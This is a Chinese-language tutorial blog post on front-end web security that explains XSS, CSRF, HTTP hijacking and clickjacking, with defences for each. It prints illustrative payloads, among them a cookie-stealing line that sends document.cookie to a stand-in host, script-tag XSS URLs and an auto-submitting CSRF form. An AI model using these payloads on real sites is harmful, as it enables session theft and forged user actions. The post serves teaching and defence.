前端安全知多少
說到安全,大家腦海浮現的一定是這種場景。
他們劈劈啪啪敲幾行代碼,就能控制對方電腦於千裏之外,酷到沒朋友。
但這些似乎離前端還挺遠的。常常聽到什麽SQL註入,緩沖區溢出,DDoS,CC攻擊,好像和前端也沒啥關系,漸漸的會覺得安全是後端的的事。
但真的是這樣的嗎?想起來前不久公司安全部門統計的漏洞列表
看,前端經典的XSS漏洞占據了90%以上。所以學習和了解前端安全方面的知識,還是十分有必要的。
接下來我們聊聊前端安全,主要從以下幾塊來講
一、XSS攻擊與防禦
二、CSRF攻擊
三、HTTP劫持與對策
四、界面操作劫持
五、防禦手段
一、XSS攻擊與防禦
當年寫過這樣一段代碼,form提交表單後,如果有錯誤,需要前臺alert出來。
偷懶采用了如下思路
1、提交表單之後再次重定向到當前頁面,然後把錯誤信息放入url中。
2、controller層把url參數傳入模板。
3、模板部分如果變量有值,就alert出來。
代碼大概如下
// 假設提交表單之後定位到這個頁面 // http://www.wrong.com?msg=param-error // 頁面上模板上,為了省心,有這麽一段 <script> // … 省略一些代碼,{{}} 是模板引擎引入變量的語法 alert(‘{{query.msg}}‘); </script>
乍一看,這麽寫沒什麽問題。{{query.msg}}會被替換成 param-error。模板被解析成html的時候,會變為alert(‘param-error’);
但是,如果有人不懷好意,訪問這樣一個url
http://www.wrong.com?msg=‘);alert(document.cookie);(‘
然後代碼就變成了
alert(‘‘);alert(document.cookie);(‘‘);
訪問這個頁面,彈出了cookie。
當然,彈出cookie沒有太多價值,但如果我們把代碼改成
new Image().src = ‘http://www.xss.com?data=‘ + document.cookie;
這樣,我們就把目標用戶的cookie發送到我們的服務器上了。而cookie中極有可能存在用戶的隱私數據甚至是用戶的登錄session。
當然,這只是一個最簡單的例子,用來說明攻擊的原理。實際情況下,我們會遇到很多限制,比如瀏覽器的自動轉碼,cookie的only http標識等。
XSS的攻擊有很多種方式,通常情況下,我們會對XSS攻擊做如下分類
1、反射型XSS
發請求時,XSS代碼出現在URL中,提交給服務端。服務端返回的內容,也帶上了這段XSS代碼。最後瀏覽器執行XSS代碼。
通常情況是攻擊者找到有XSS漏洞的網站,然後構造一個連接,就像這種
http://www.hasxss.com?x=<script>alert(document.cookie)</script>
帶有攻擊效果的鏈接
然後誘導你點擊
通常他們會把鏈接短鏈一下迷惑你,就好比
http://dwz.cn/woshiduanwangzhi
PS:通常還會加上一句類似 ~你們看看王寶強兒子長得像誰~ 這種標題??。
然後你點擊進去就中招了。
2、存儲型XSS
存儲型和反射型的區別就是,提交的XSS代碼會存儲在服務器端。這種XSS也是最危險的。
舉個例子,我們的網站允許用戶設置一段個性簽名,會顯示在個人主頁。
然後用戶簽名設置為
<script>alert(document.cookie)<script>。
數據庫存儲這段代碼,然後頁面顯示出來。
如果這個過程中沒有經過任何轉義,那麽這段html就直接執行了。這樣,所有訪問你個人主頁的用戶,就都中招了。
3、DOM XSS
這種和上面說的兩種的區別就在於,DOM XSS不需要服務端參與,可以認為是前端代碼漏洞導致。
舉個例子,有這樣一段代碼
<script> eval(location.hash.substr(1)); </script> // 而這個時候,如果用戶在網址後面加上惡意代碼 http://www.xss.com#alert(document.cookie)
這樣就完成了攻擊了。
這也是我們常說eval不安全的原因,傳入eval的字符串,天知道會是什麽東西,但無論是什麽,它都會去執行。
說了XSS的類型,我們再說說防禦的手段。
1、過濾轉義輸入輸出
用戶輸入的情況,通常來講也是HTTP請求。GET請求的url參數。POST請求的body數據。
比如我們接收的數據是用戶年齡,那麽在後端,需要判斷一下數據是否是Number,這樣才能讓惡意攻擊者沒有可乘之機。
對於一些特殊符號,我們需要對其進行轉義
& --> & < --> < > --> > " --> " ‘ --> ' / --> /
這個一方面是後端接收這些代碼時候的轉義存儲,一方面是前端在顯示的時候,需要把它們轉成html實體。
2、避免使用eval,new Function等執行字符串的方法,除非確定字符串和用戶輸入無關。
3、使用innerHTML,document.write的時候,如果數據是用戶輸入的,那麽需要對關鍵字符都進行過濾與轉義。
4、對於非客戶端cookie,比如保存用戶憑證的session,務必標識為http only,這樣js就獲取不到這個cookie值了,安全性得到提高。
對於XSS的防禦,提高編碼的安全意識是一方面。
還有一種方式是主動防禦。也就是當發現頁面有XSS攻擊時候,主動上報。
至於如何檢測到,目前的方式大多是對事件和腳本攔截。判斷是否有惡意代碼。
二、CSRF攻擊
CSRF全稱是跨站請求偽造。這麽說挺模糊的,我們來具體看下例子就能明白
假設 新浪微博關註某個人的請求是
GET www.weibo.com/attention?userid=123
所以,當用戶處於登錄狀態下,並且訪問如上鏈接,便會關註userid為123的用戶。
那麽我們可以做出如下攻擊。
編寫一個惡意頁面 www.csrf.com。然後在頁面上加上一句
<img src=“www.weibo.com/attention?userid=123” />
這時,用戶只要訪問了這個頁面,便發起了關註的請求。並且該請求還是帶上了登錄cookie的,因為cookie是跟隨著請求域名一起的。
上面這個例子是一個太理想的情況,又例如實際關註的請求,是一個POST請求,那應該怎麽辦呢?
其實這也很簡單,雖然發送post請求會有跨域限制,但是我們可以使用js動態生成一個form表單。然後把地址指向上述url,最後再加上自動提交即可。
function createForm() { var form = document.createElement(‘form‘); document.body.appendChild(form); form.method = ‘post‘; return form; } function createInput() { // 省略一些代碼,創建一些input,讓form使用appendChild放進去 } var f = createForm(); // 插入一些數據 f.action = ‘http://www.csrf.com‘; f.submit();
CSRF的防禦方式
-
檢測http referer是否是同域名,通常來講,用戶提交的請求,referer應該是來來自站內地址,所以如果發現referer中地址異常,那麽很可能是遭到了CSRF攻擊。
-
避免登錄的session長時間存儲在客戶端中。
-
關鍵請求使用驗證碼或者token機制。在一些十分關鍵的操作,比如交易付款環節。這種請求中,加入驗證碼,可以防止被惡意用戶攻擊。token機制也有一定的防禦作用。具體來說就是服務器每次返回客戶端頁面的時候,在頁面中埋上一個token字段,例如 <input type=“hidden” name=“csrftoken” value=“abcd">
之後,客戶端請求的時候帶上這個token,使用這個機制後,攻擊者也就很難發起CSRF攻擊了。
三、HTTP劫持與對策
HTTP劫持嚴格上來說不能完全算前端安全的範疇。因為導致這種情況的主要是運營商。
先簡單解釋下HTTP劫持吧,當我們訪問頁面的時候,運營商在頁面的HTML代碼中,插入彈窗、廣告等HTML代碼,來獲取相應的利益。
針對這種情況,最好的解決方式也就是使用HTTPS,加密過後,他們就沒法插入廣告代碼了。
那麽對於還沒有升級的情況,我們可以努力讓影響降到最低。
情況一:頁面被iframe嵌套了
這種情況還是比較簡單的。對於跨域iframe,我們是可以改變父頁面地址的
所以,我們在代碼中加上
if (self != top) { top.location = location.href; }
情況二:頁面多出了廣告的html代碼或者插入廣告的腳本
這種情況下,我們能做的有限。
一方面我們可以檢測是否有新增的html。監控檢測判斷,發現是廣告就移除掉。
另一方面,對於使用document.write方法寫入的廣告,我們可以通過重寫document.write方法來達到刪除廣告的目的
四、界面操作劫持
界面操作劫持是一種基於視覺欺騙的劫持攻擊。通過在頁面上覆蓋一個iframe + opacity:0的頁面,讓用戶誤點擊。
這麽解釋很蒼白,我們來看一下具體案例
假設我開發的頁面是百度
我希望誘導別人關註我的新浪微博。
這時,我可以選擇在我的頁面中使用iframe嵌入微博頁面
這裏我沒有把opacity設置為0。如果設置為0的話。那麽就完成了一次界面操作劫持了。你以為點擊了百度一下,實際點擊的是關註。
五、防禦方式
說了這麽多攻擊方式,但是我們的web還是很安全的是不是?
上面列舉的例子都不具備實際攻擊作用,因為瀏覽器廠商,W3C等已經做了很多安全工作,讓我們的頁面可以安穩的運行起來。但是道高一尺魔高一丈,我們要合理運用防護手段,才能讓頁面不被攻擊。
1、HTTP響應頭,在響應可以通過這些字段來提高安全性
-
X-Frame-Options 禁止頁面被加載進iframe中
-
X-XSS-Protection 對於反射型XSS進行一些防禦
-
X-Content-Security-Policy 這個就比較復雜了,可選項很多,用來設置允許的的資源來源以及對腳本執行環境的控制等。
2、使用HTTPS、使用HTTP ONLY的cookie。cookie的secure字段設置為true
3、GET請求與POST請求,要嚴格遵守規範,不要混用,不要將一些危險的提交使用JSONP完成。
如果你喜歡我們的文章,關註我們的公眾號和我們互動吧。
前端安全知多少